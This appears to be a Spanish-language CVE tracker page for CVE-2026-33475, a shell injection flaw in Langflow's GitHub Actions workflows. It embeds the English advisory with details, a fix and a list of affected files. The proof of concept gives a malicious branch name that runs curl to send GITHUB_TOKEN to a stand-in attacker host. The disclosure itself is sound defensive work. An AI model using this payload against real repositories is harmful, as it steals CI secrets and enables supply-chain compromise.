CVE-2026-33475
Langflow GitHub Actions Shell Injection
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Fuente: CNA
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Evaluación SSVC | CISA-ADP · explotación PoC pública | |
| Divulgación | Publicada | CVE-2026-33475 divulgada · CVSS 9.1 (CNA) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
langflow |
Corregida | 1.9.0 | — | — |
1.9.0Arsenal público
Ver los 1 repositorios de GitHub
Los repositorios públicos incluyen exploits, escáneres, laboratorios y reglas de detección. No ejecute código de terceros sin revisarlo en un entorno aislado.
https://github.com/langflow-ai/langflow/security/advisories/GHSA-87cc-65ph-2j4whttps://github.com/pvharmo2/gha-lab-9b5e3ccfbeLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
